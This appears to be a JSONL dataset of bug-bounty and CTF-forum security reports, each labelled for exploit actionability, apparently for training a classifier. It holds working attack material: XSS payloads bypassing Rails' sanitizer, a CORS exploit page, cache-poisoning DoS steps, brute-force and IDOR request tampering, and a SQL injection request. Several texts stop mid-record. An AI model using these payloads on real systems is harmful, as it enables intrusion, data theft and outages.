-{"id": "2b7f4530a6dcc718ccec", "text": "[Information Disclosure] firebase credentials leaks @ https://mpulse.mtnonline.com\n\n## Summary:\nHello.\nI found firebase credentials leaks at https://mpulse.mtnonline.com\n\n## Steps To Reproduce:\nVisit https://mpulse.mtnonline.com >> right click >> view source code\n\n## Supporting Material/References:\n<!-- Firebase -->\n    \n    \n\n\n\n    <!-- <script>\n    // Initialize Firebase\n    var config = {\n    apiKey: \"████\",\n    authDomain: \"████████\",\n    databaseURL: \"https://mpulse-25c68.firebaseio.com\",\n    projectId: \"mpulse-25c68\",\n    storageBucket: \"mpulse-25c68.appspot.com\",\n    messagingSenderId: \"295133444438\"\n    };\n    firebase.initializeApp(config);\n    </script> -->\n\n## Impact\n\nUn authorize access to firebase database.\n\n\nKind regard\n@aliyugombe", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ef6cf649750ef8a76250", "text": "[Unknown] Cross-origin resource sharing: arbitrary origin trusted\n\nreferred from\nCWE-942: Permissive Cross-domain Policy with Untrusted Domains\n\nIssue detail\nThe application implements an HTML5 cross-origin resource sharing (CORS) policy for this request that allows access from any domain.  The application allowed access from the requested origin  https://example.com \n\nrequest\nPOST /sockjs/247/17r_rtj0/xhr HTTP/1.1\nHost: ██████████\nAccept-Encoding: gzip, deflate\nAccept: */*\nAccept-Language: en-US;q=0.9,en;q=0.8\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36\nConnection: close\nCache-Control: max-age=0\nOrigin: https://example.com\nReferer: https://███████/home\nSec-CH-UA: \".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"108\", \"Chromium\";v=\"108\"\nSec-CH-UA-Platform: Windows\nSec-CH-UA-Mobile: ?0\nContent-Length: 0\n\nreponse\nHTTP/1.1 200 OK\nServer: nginx\nDate: Fri, 27 Jan 2023 11:47:15 GMT\nContent-Type: application/javascript; charset=UTF-8\nConnection: close\nVary: Accept-Encoding\nCache-Control: no-store, no-cache, no-transform, must-revalidate, max-age=0\nAccess-Control-Allow-Credentials: true\nAccess-Control-Allow-Origin: https://example.com\nVary: Origin\nContent-Length: 2\n\no\n\n\nPOC 2\n1.open https://example.com in browser then inspect the page and go to console.\n2.run the following code in console and you would find it pops up user information\n\nvar req = new XMLHttpRequest(); req.onload = reqListener; req.open('post','https://████/sockjs/247/17r_rtj0/xhr',true); req.withCredentials = true; req.send('{}'); function reqListener() { alert(this.responseText); };\n\nExploit\n\n<html>\n<script>\nvar req = new XMLHttpRequest(); req.onload = reqListener; req.open('post','https://███████/sockjs/247/17r_rtj0/xhr',true); req.withCredentials = true; req.send('{}'); function reqListener() { alert(this.responseText); };\n</script>\n</html>\n\nComment\nAttacker would treat many victims to visit attacker's website, if victim is logged in, then his personal information is recorded in attacker's server\nHow to fix\nRather than using a wildcard or programmatically verifying supplied origins, use a whitelist of trusted domains.\n\n## Impact\n\nIssue background\nAn HTML5 cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request.\nTrusting arbitrary origins effectively disables the same-origin policy, allowing two-way interaction by third-party web sites. Unless the response consists only of unprotected public content, this policy is likely to present a security risk.\nIf the site specifies the header Access-Control-Allow-Credentials: true, third-party sites may be able to carry out privileged actions and retrieve sensitive information. Even if it does not, attackers may be able to bypass any IP-based access controls by proxying through users' browsers.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9166cf28a4b49e78be2c", "text": "[Improper Certificate Validation] CVE-2023-28321: IDN wildcard match\n\nOriginal Report:https://hackerone.com/reports/1950627\n\n## Impact\n\nImproper Validation of Certificate with Host Mismatch.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2023-28321"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2844785aa7ddc8b5cae3", "text": "[Cache Poisoning] DOS via cache poisoning on [developer.mozilla.org]\n\n## Summary:\nHello, after some research it appears that it is possible for an attacker to perform a DOS attack on the https://developer.mozilla.org page for an indefinite period.\nThis is possible by adding an ```X-Forwarded-Host``` header and a value causing an error on the back-end side (error 404), the bad configuration of the cache makes it possible to save the response there and to serve it to users visiting the page, making the page completely inaccessible for an indefinite period.\nNo information about the caching period is available in the response, but it is anyway possible to reinterpret the manipulation indefinitely.\nFor obvious reasons I performed my tests using a cache-buster - adding a URL parameter as we will see in the POC - so as not to affect the user experience.\n\n## Steps To Reproduce:\n\n  1. Pass your HTTP requests through your preferred proxy\n  2. Go to : https://developer.mozilla.org then - in your proxy - send the request to your repeater\n  3. Add the parameter of your choice to the URL, it will serve as a cache-buster and will not \"poison\" the site visited by users. In other words, the DOS will only be effective on the URL containing your parameter, you probably know this but let me clarify: this is very important in order not to damage the services.\n  4. Add the following header :\n\n```\nX-Forwarded-Host: XXX\n```\nThe request ready to send (```?my_cache_buster=test```) being my cache-buster :\n\n{F2339007}\n\nOnce the request has been sent, the response will - as expected - contain a 404 error. Open another browser in incognito mode, and enter the full URL containing your cache-buster. You should get a 404 error. If this is still not the case, resend the request several times until the cache is poisoned :\n\n{F2339009}\n\n## Impact\n\nAn attacker can perform this attack (without a cache-buster this time) in order to make the service unavailable indefinitely. It is also possible in the case where the cache will be reset to make a small script to send requests every minute (for example) so that the cache is permanently poisoned making the site completely unavailable and causing financial damage to the company.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0393ca8f640dfba7843b", "text": "[Insecure Direct Object Reference (IDOR)] Attacker can create malicious child epics linked to a victim's epic in an unrelated group\n\n### Summary\n\nAn attacker with the capabilities to create multi-level epics (requires Ultimate license) may create malicious children epics by referring to a victim's epic via the parent_id. This is done through the REST api via the attacker's endpoint (https://gitlab.example.com/api/v4/groups/attackergroup/epics). The attacker can obtain the victim ID without being a member of the victim's group if the victim uses Public/Internal visibility.\n\nIt is also possible to add child epics to private groups, and although the attacker would have to guess or know the epic id and while no confidential information is leaked initially, a victim may still navigate to the attacker's epic and leak information that way.\n\n### Steps to reproduce\n\nNote: Attacker requires BurpSuite and an Ultimate license and Victim may also need Ultimate (but maybe just Premium?). The attacker needs the ultimate license to create \"Multi-level epics\" but victim may need it too (I am unable to verify at this time as my whole self-hosted instance is licensed as Ultimate).\n\n#### Victim\n1. Log into GitLab and create a new group called \"VictimEpicGroup\" with internal or public visibility (https://gitlab.example.com/groups/new#create-group-pane).\n1. Create an epic inside of the group created from Step 1 called \"Public Victim Epic\" (https://gitlab.example.com/groups/victimepicgroup/-/epics/new).\n\n#### Attacker\n1. Log into GitLab and create a new group called \"AttackerEpicGroup\" with internal or public visibility (https://gitlab.example.com/groups/new#create-group-pane).\n1. Create an epic inside of the group created from Step 1 called \"Attacker Public Epic\" (https://gitlab.example.com/groups/attackerepicgroup/-/epics/new).\n1. Navigate to the Victim's epic to obtain the global epic id (https://gitlab.example.com/groups/victimepicgroup/-/epics/1).\n1. View page source and search for \"gid://gitlab/Epic\". One of the first results will be similar to:\n```html\n<button aria-label=\"Add a to do\" issuable-type=\"epic\" issuable-id=\"gid://gitlab/Epic/29\" type=\"button\" class=\"btn hide-collapsed btn-default btn-sm gl-button\" size=\"small\"><!----> <!---->  <span class=\"gl-button-text\">  Add a to do </span></button>\n``` \n(in this case the attacker is targeting `29`).\n\n5. Navigate to the attacker's epic created in step 2 (https://gitlab.example.com/groups/attackerepicgroup/-/epics/1).\n6. In the \"Child issues and epics\" section click \"Add\" -> \"Add a new epic\".\n7. Set the title to \"Attacker Child Epic\" and group to \"AttackerGroup\".\n8. Set BurpSuite to intercept requests via \"Proxy\" -> \"Intercept\" and ensure the intercept button states \"Intercept is on\".\n9. Back in the browser window click \"Create epic\".\n10. Intercept the POST request to `/api/v4/groups/attackerepicgroup/epics` in BurpSuite.\n11. Update `parent_id` in the POST body from the current value to the victim's value in step 4 (In this example use `29`).\nFor example, if the body contains:\n```json\n{\"parent_id\":30,\"confidential\":false,\"title\":\"Attacker Child Epic\"}\n```\n\nUpdate the parent_id so the request looks like:\n```json\n{\"parent_id\":29,\"confidential\":false,\"title\":\"Attacker Child Epic\"}\n```\n12. Click forward to send the request and intercept can now be turned off.\n13. Note the epic is created successfully.\n\n#### Victim\n1. Navigate to the epic the victim created earlier (https://gitlab.example.com/groups/victimepicgroup/-/epics/1).\n1. Note the attacker's epic is now associated to the epic as a child.\n1. Click on the attacker's epic and notice the URL of the page is now within the attacker's group/control.\n\n### Impact\n\nAn attacker is able to create an attacker controlled epic linked to a victim's epic inside of a separate group not controlled by the attacker.\n\nMy initial report uses the following reasoning for the CVSS score:\n* `AC:L`: IDOR using simple guessable ID - Attacker can find the epic ID with public/internal projects or if they previously obtained the id from a private project they no longer", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-02", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3c38ec5c8e428872061e", "text": "[Improper Access Control - Generic] After the upload of an private file, using transformations, the file becomes public without the possibility of changing it.\n\n## Summary:\nWhen an user uploads a private file, ex (Screenshot 1), where only he has access to. Using the \"View transformations\" function can generate different kinds of image transformations (Screenshot 2). But after the generation of that transformation for example clicking on  the regenerate button next to profile. The function will create a cropped public image, where the user is unable to edit or modify his own generated image (Screenshot 3). \n\nIssue: You have a picture with you smiling and your passport holding in your hand (An example would be a \"know you customer purpose\" selfie). You like that picture on how you look, so you upload it on phabricator, privately, assuming nobody can view it. You click on view transformations, to modify and crop that picture, to get rid of the sensitive data passport you are holding in your hand, so only the face remains. After you clicked on the regenerate next to profile, you realize the crop doesn't work as intended and your passport data is still in there. So you want to modify/delete that picture but you cant. And what's worse that picture visible to anyone and you don't have access to remove it nor to modify it.\n\n## Steps To Reproduce:\n[add details for how we can reproduce the issue]\n\n 1.Upload a private picture here: https://phabricator.allizom.org/file/upload/\n 2.Change the visibility to no one or just you.\n 3. After the upload, click on \"View Transformations\" on the right.\n 4. There you can create different transformations when you click on regenerate.\n 5. After that you, you get a new preview to your generated picture. \n 6. Now go back, to the transforms page, and you get a new link on phabricator, that is public, and can't be changed.\n\nI've added a video that showcases this behavior. \n\n\n## Supporting Material/References:\n[list any additional material (e.g. screenshots, logs, etc.)]\nI've added screenshots and a video to showcase this issue.\n  * [attachment / reference]\n\n## Impact\n\nThe user is assuming that he can upload private data securely. Not knowing that the transform feature will make his uploaded files public with no way to delete it, could in worst case leak PII information.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-10-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "74b112b0237a3a07eed8", "text": "[Cross-site Scripting (XSS) - Stored] XSS exploit of RDoc documentation generated by rdoc (CVE-2013-0256)\n\nThe exploit exists in `paragraph` formatting that allows malicious code to be injected into the generated documentation.\n\nPoC\n----\n\nFor example, let's create the `example` file with the following content:\n```\n\\x[\\<script>alert(1);</script>\\]\n```\n\nNow, run rdoc:\n```sh\nrdoc --all\n```\n\nThe output html will have the following injected javascript code:\n```html\n<main role=\"main\" aria-label=\"Page example\">\n\n<p>x[<script>alert(1);</script>]</p>\n\n</main>\n```\n\nSolution\n--------\n\nI may be wrong with the solution, but I want to be more helpful :) At first glance, the vulnerable code is here:\n```rb\n  def accept_paragraph paragraph\n    @res << \"\\n<p>\"\n    text = paragraph.text @hard_break\n    text = text.gsub(/\\r?\\n/, ' ')\n    @res << to_html(text) # <====== CGI.escapeHTML(text)) ???\n    @res << \"</p>\\n\"\n  end\n```\nI suppose we should sanitize the output. For example, after changing `text` to `CGI.escapeHTML(text)` I've got the following result:\n\n```html\n<main role=\"main\" aria-label=\"Page example\">\n\n<p>x[&lt;script&gt;alert(1);&lt;/script&gt;]</p>\n\n</main>\n```\nI hope this doesn't break anything.  ^_^\n\n## Impact\n\nA cross-site scripting (XSS) vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2013-0256"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-07-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "aa94e7f437292a67381b", "text": "[SQL Injection] Blind Sql Injection in https://█████/qsSearch.aspx\n\n**Description:**\n\naccess\n\nhttps://████████/qsSearch.aspx\n\nClick to sort capture packets\n\n```\nPOST /qsSearch.aspx HTTP/1.1\nHost: ████████\nCookie: ASP.NET_SessionId=qrwzcesx1pczpna5a1bumabn; TS01e0cc7d=01a9fe659bc0aaa5aeffd1dcb0212ef4158c4865925e960169a653a233f6de5425138871ffe81b759d57e8cd4d192f460a8455c20a; TS64c50bb0027=085749d0e4ab2000abff03ce041a6de3cdc980bad78329f846f8a7d1a3ca714fca41b9f4477ff74908e5615eaa1130003df96bf750318bbc06de7b8d1dc03b675cf0ea51da191b5c8a95008b8d5b3f758c0ed139489903314d8927a8c58c8d9d\nContent-Length: 3764\nSec-Ch-Ua: \"Not.A/Brand\";v=\"8\", \"Chromium\";v=\"114\", \"Google Chrome\";v=\"114\"\nSec-Ch-Ua-Mobile: ?0\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nCache-Control: no-cache\nX-Requested-With: XMLHttpRequest\nX-Microsoftajax: Delta=true\nSec-Ch-Ua-Platform: \"Windows\"\nAccept: */*\nOrigin: https://██████\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: https://██████████/qsSearch.aspx\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9\nConnection: close\n\nScriptManager1=UpdatePanelWhole%7CGetFilteredButton&DocumentIDTextBox=&IDNumberTextBox=&DropDownListStatus=&DocumentTitleKeyWords=&DropDownListContains=AND&DropDownListTitleOrKeywords=TOS&TextBoxBegin_Date=24-Jul-2022&TextBoxEnd_Date=24-Jul-2023&FromSession_HFS=0&DocumentIDTextBox_HFS=&IDNumberTextBox_HFS=&DropDownListStatus_HFS=&DocumentTitleKeyWords_HFS=&DropDownListContains_HFS=&DropDownListTitleOrKeywords_HFS=&ExListBoxFSCHF=1010&ExListBoxFSCHFN=2&ExListBoxFSCHFN_HFS=&UseTransDateCheckBox_HFS=&TextBoxBegin_Date_HF=24-Jul-2022&TextBoxEnd_Date_HF=24-Jul-2023&TextBoxBegin_Date_HFS=24-Jul-2022&TextBoxEnd_Date_HFS=24-Jul-2023&Command_HFS=&divPreamble_HF=block&HiddenFieldSortOrder=seqno&__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=q7mOdp7JADLouhLb0iBsjhyqsgYBjR4m66bmTYp5jGGY0Unk%2FoBSV%2FV5DY4cM8i4AetQ7yIP7NpGAwDZNg1mENuO17N0e9RMjj9k84Mz8Z12lbblsQ3pvMzMXGqVFlV5AapE1ZPF3Lw3mHyNQwU9U8rmLIlySVVc9Fq9r1FEk4E198exJH0aVmUhqMLdX6ah4%2F4jaTRYRASPB6C8VdKG2gvAnVsh%2BQzU05lZGLYsqw8j8EiFXbKKni0hgSjiD%2B%2BanYn9w4xMz5llIOP81jz9jSB479hqo3yuFWuOO91Vr539KvcO7XzstILWDgVLtDeDPw3p2DTZM2PS0vOVnNDpJX6rr76mJfFWD9DJUOSkvCDpz0tGwNcGWZPO0j%2FkaUY%2Fh9L5%2FOblr4Zd6XcWiyo3Sal%2BtCvQnZuzPyCjL33IEpuGojcsUBeY8Aq%2FkFbVr%2Be3cXUSzzBwirfXTdneWQFQlfq8xWxKI2YHsnLZHLNKB3%2FsgP0vvRV1yXvsbC9RfTGhUiK2S%2Bg4XHzadLggy5djNZMHvoulqRwagO7EeksJyWGma9jVCQoc4Vqe3IjRbjmyaZOltk%2BZxh%2FC9P%2BPdT9lhapBOyuXvVDJL862rRIIfJEUo9NJ0ES%2FRRHdk2NO44DsXT99Rj89iOZY1ZgFaAqQEYXhVQEIfFdyMjP52QR2d6ljjjQahESe88R34h9YuLQVGMnZnqwCSgOqjD%2Fw7iuA4fkYrq5zu2muXogAnT%2BYdVe03PNUlMAhdr3oVzTmipt2ezsMpNtGU%2B%2FKO67w8xvPtdMcU1r%2FDWXlU%2BMgnxpWKBfcwk8BMKvSStAX7lxPg%2BAFXJ4W%2B4mMAg6xybe8nfyVtfbcC%2FLT21%2FAo6DA1EP0%2Bquy6r7RSx%2BCSQiQ9FMEn29J%2FEvOYsub01L3h%2FHXt5%2BgfM9lWS1DRQmEbIT9Sy9aXm895QHjFJwR4ZKU%2FV2YqyvpqYxBstMen3tClb74MXUOGLEwkR2SajMOnEvafbc2eND%2BeGkhPvX308aFuCcS92UIOD0YE52Xf%2FvCaFkbYhBFQ3DDTvEsKYq%2Feiv2tdt3t34jpVDYpVuZBjYrE5CKYNZ%2FshSfBGFd3WkyogypS6WwmW4p8tAIP6nZbewu3ljQmfclpQfSEZ1U86hc7R6%2F8Qi5H%2FUoPZkSXdhS7YZ%2FUk2uEFJpMPbwrRIisJZDWOK1iXXUfLGlJNHpqXz%2By1HAWEAgoROMjB3PDciwlG4qOWWNf8kHBIXh4mABbQTBRCSviGCU%2B40mxFN5mCxIDlyVSrZtctMDlDEXxsDrgMlIYF9tPu14HiIkcvTvRRDAilxLNj4oJltCSn9Q4KaohPoOCTCB%2FBDChs7i%2FP%2FtVlVv2hseFoW%2FL5nnXrzZwtQ89g1tukB6B0%2BLNIHSPMTNjHfS94KBTjlI%2BDyJQ1moLRAqrI08LuxR5oL4I4xQWFMokDUes%2F9919T%2BsFFY83LeW8l2cnq9HXs1VHWZC52iEE6NKL3O%2FY8rb8ZzJWx73Vy6%2F4ycbMhmXmBKDL0jPp7pWQwCSF%2Bi3utC6fYzXYVplK%2F%2FUB%2Bl%2Fx3FHulj%2BxbNXbXDNwW9la1gvmiZCBVNBF8Hs9f723CNP9Mk36HeRhnqrv%2BXjT3ru9VUIreZuYLP%2FJMDsMa5hkxNqsGSiYSaVnQdNoh16MX%2FpwD9TFjeLR9trbuYbOe85Q%3D%3D&__VIEWSTATEGENERATOR=23D07230&__VIEWSTATEENCRYPTED=&__EVENTVALIDATION=fsWUuj%2Bv6uAzn%2BPDJy53TOV1EcwpGMzzgrX8HnHdm3%2BXLE0nnYzmv2wV%2FC1MQ36juB9R3FuomPHAhDRTQjaWLLfUo8wqsKkA5oRH27Q0drnd19OLne7P%2F1e7JVyrg3T7IUqgzt668Uf70ylQ0%2Fzm3R8l55e7NMhkJqrNAfwmRnqo01McSaS%2FfV2vktFK2Xg07rplRCRRnjFxz7PgRNyHTd27PGi2Juvy", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-09-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "16a5a892e7ad498774a1", "text": "[Improper Access Control - Generic] Global default settings page is accessible to non-administrators\n\nIf you go to /settings/, it correctly redirects to /settings/user/username/ and does not give you the option to change global default settings. However if you go straight to /settings/builtin/global/, any user can edit the global default settings. According to https://secure.phabricator.com/D16048, it's supposed to be an administrator panel.\n\nmongoose\n\n## Impact\n\nAt worst, you can disrupt a Phabricator installation and change the accessibility theme, language, disable everyone's notifications. But there aren't any very sensitive settings that you can modify.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "577bdf6b5f689910afb3", "text": "[Cross-site Scripting (XSS) - Generic] CVE-2022-23519: Rails::Html::SafeListSanitizer vulnerable to XSS when certain tags are allowed (math+style || svg+style)\n\nThe following is from: https://hackerone.com/reports/1656627\n\n## Intro\n\nThe Rails HTML sanitzier allows to set certain combinations of tags in it's allow list that are not properly handled. \nSimilar to the report [1530898](https://hackerone.com/reports/1530898), which identified the combination`select` and `style` as vulnerable,\nmy fuzz testing from today suggests that also `svg` and `style` as well as `math` and `style` allow XSS.\nThe following are PoCs for each of these allow list:\n- `svg` and `style`: `<svg><style><script>alert(1)</script></style></svg>`\n- `math` and `style`: `<math><style><img src=x onerror=alert(1)></style></math>`\n\nSee the following IRB session: \n```\nirb(main):016:0> require 'rails-html-sanitizer'\n=> false\nirb(main):017:0> Rails::Html::SafeListSanitizer.new.sanitize(\"<svg><style><script>alert(1)</script></style></svg>\", tags: [\"svg\", \"style\"]).to_s\n=> \"<svg><style><script>alert(1)</script></style></svg>\"\nirb(main):018:0> Rails::Html::SafeListSanitizer.new.sanitize(\"<math><style><img src=x onerror=alert(1)></style></math>\", tags: [\"math\", \"style\"]).to_s\n=> \"<math><style><img src=x onerror=alert(1)></style></math>\"\nirb(main):019:0> puts Rails::Html::Sanitizer::VERSION\n1.4.3\n=> nil \n```\n\n## Sample Vulnerable Rails Application\n\nTo build a sample rails application that is vulnerable, I've used the following `Dockerfile`:\n\n```\nFROM ruby:3.1.2\n\nRUN apt-get update && apt-get install -y vim\n\nWORKDIR /usr/src/app\nRUN gem install rails && rails new myapp\nWORKDIR /usr/src/app/myapp\n\n\nCOPY build-rails-app.sh ./build-rails-app.sh\nRUN sh ./build-rails-app.sh\nRUN RAILS_ENV=production rails assets:precompile\n\nCMD [\"./bin/rails\", \"server\", \"-b\", \"0.0.0.0\", \"-e\", \"production\"]\n```\n\nIn the same directory, put a shell script `build-rails-app.sh` which writes the app:\n\n```\n#!/ibn/sh\n\n# make routes\ncat << EOF > ./config/routes.rb\nRails.application.routes.draw do\n  get \"/poc1\", to: \"poc1#index\"\n  get \"/poc2\", to: \"poc2#index\"\nend\nEOF\n\n# make Poc1 endpoint\n# http://localhost:8888/poc1?name=%3Csvg%3E%3Cstyle%3E%3Cscript%3Ealert(1)%3C/script%3E%3C/style%3E%3Csvg%3E\nbin/rails generate controller Poc1 index --skip-routes\n\ncat << EOF > ./app/controllers/poc1_controller.rb\nclass Poc1Controller < ApplicationController\n  def index\n    @name = params[:name] || \"put your name here\"\n  end\nend\nEOF\n\n\ncat << EOF > ./app/views/poc1/index.html.erb\n<h1> Hello <%= sanitize @name, tags: [\"svg\", \"style\"] %> </h1>\n<br>\nPoC with a sanitized, reflected parameter 'name' for which 'svg' annd 'style' tags are allowed.\n<br>\n<%= link_to \"Go to PoC\", \"/poc1?name=<svg><style><script>alert(1)</script></style><svg>\" %>\n<br>\n<br>\nUsing: rails-html-sanitizer <%= Rails::Html::Sanitizer::VERSION %>\nEOF\n\n\n# make Poc2 endpoint\n# http://localhost:8888/poc2?name=%3Cmath%3E%3Cstyle%3E%3Cimg%20src=x%20onerror=alert(1)%3E%3C/style%3E%3Cmath%3E\nbin/rails generate controller Poc2 index --skip-routes\n\ncat << EOF > ./app/controllers/poc2_controller.rb\nclass Poc2Controller < ApplicationController\n  def index\n    @name = params[:name] || \"put your name here\"\n  end\nend\nEOF\n\n\ncat << EOF > ./app/views/poc2/index.html.erb\n<h1> Hello <%= sanitize @name, tags: [\"math\", \"style\"] %> </h1>\n<br>\nPoC with a sanitized, reflected parameter 'name' for which 'math' annd 'style' tags are allowed.\n<br>\n<%= link_to \"Go to PoC\", \"/poc2?name=<math><style><img src=x onerror=alert(1)></style><math>\" %>\n<br>\n<br>\nUsing: rails-html-sanitizer <%= Rails::Html::Sanitizer::VERSION %>\nEOF\n```\n\nWith the following `Makefile` you can build and run the application\n\n```\n.PHONY: build\nbuild:\n\tdocker build -t local/railspoc:latest .\n\n.PHONY: run\nrun:\n\tdocker run -it --rm -p 127.0.0.1:8888:3000 local/railspoc:latest\n```\n\nNow you have a Rails application with two routes `/poc1` and `/poc2` running locally. Visit:\n- [http://localhost:8888/poc1?name=%3Csvg%3E%3Cstyle%3E%3Cscript%3Ealert(1)%3C/script%3E%3C/style%3E%3Csvg%3E](http://localhost:8888/poc1?n", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-23519"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-04", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "da8f58d74e664b7c8ec8", "text": "[Improper Restriction of Authentication Attempts] Entering passwords on the Share Login Page can lead to a brute-force attack\n\n## Summary:\nI have identified that when sharing the Results with a password, the request (POST method) when entering a password has no rate limit, which can then be used to loop through one request. An attacker can brute-force for a password and can get a possibly a dashboard Results.\n\nA rate limiting algorithm is used to check if the user session (or IP-address) has to be limited based on the information in the session cache. In case a client made too many requests within a given timeframe, HTTP-Servers can respond with status code 429: Too Many Requests.\n\nThe problem here is that the sharing links are crawled, so if there is a link that does not contain a password, the account information will be revealed, and if there is a password, it can be brute-forced .\n\n█████\n\n## Steps To Reproduce:\n1. Go to https://app.crowdsignal.com/share/███ (this my Survey)\n2. Enter any password and click Login.\n3. Intercept the request (you can use Burp Suite tool to do this)\n4.\n```\nPOST /share/████████/password HTTP/1.1\nHost: app.crowdsignal.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 43\nOrigin: https://app.crowdsignal.com\nConnection: close\nReferer: https://app.crowdsignal.com/share/██████\nCookie:\nUpgrade-Insecure-Requests: 1\nSec-Fetch-Dest: document\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: same-origin\nSec-Fetch-User: ?1\n\naction=password&nonce=██████████&password=§\n```\n5. Now Send This Request To Intruder And brute-force it 1000 times with a list of 1000 passwords.\n6. See that you will get a length of 297 when the password is incorrect and when you get 414 that is the correct password.\n\n\n## Supporting Material/References:\n████\n\n## Impact\n\nIf an attacker successfully brute forces the password, they may be able to access the following: Results, Answer Details, Devices, Locations, and Participants.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c44d8ba19d13a19d7586", "text": "Ok so I’ve been banging my head against a wall here. Every operand except && seems to be blocked. A sub shell is possible, so I started fiddling with sending bash commands encoded in base64. I tried an ls payload at first, and got index.php and config.php as the only extra files visible. Now for the weird part, when I send a payload like this, it breaks the website. I can’t send a new payload and if I go back to the website IP I get this: Screenshot from 2022-11-06 12-15-31 560×227 19.7 KB The payload looks like this: I can read the config file and any attempt to move any of the files after this results in a Malicious error. To try another payload I have to restart the server. I’ve tried a payload to cat flag.txt as well but it responds with ‘flag.txt:no such file or directory’. The server breaks and needs to be restarted after that. The flag payload contains ‘cat flag.txt’ encoded in base64: Any help would be greatly appreciated!", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-11-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "fc2896a8a17698941850", "text": "[Cross-site Scripting (XSS) - Stored] Stored XSS at https://linkpop.com\n\n## Summary:\n\nThere is Stored XSS vulnerability at \n\n`https://linkpop.com/dashboard/admin` that can later be delivered through unique linkpop link.\n\nThis is due to lack of sanitizaiton and relying on client side protections when inserting urls to our applications.\n\nThis is the client side protection error:\n\n{F1569111}\n\nEasily bypassed just by tampering with burp\n\n```\nHTTP/1.1 200 OK\nCookies\n\n{\"data\":{\"pageUpdate\":{\"page\":{\"id\":\"12617\",\"slug\":\"testnaglinagli\",\"title\":\"\\\"\\u003e\\u003ch1\\u003enagli\\u003c/h1\\u003e\\\"\\u003e\\u003cscript sr\",\"bio\":\"\\\"\\u003e\\u003cScript 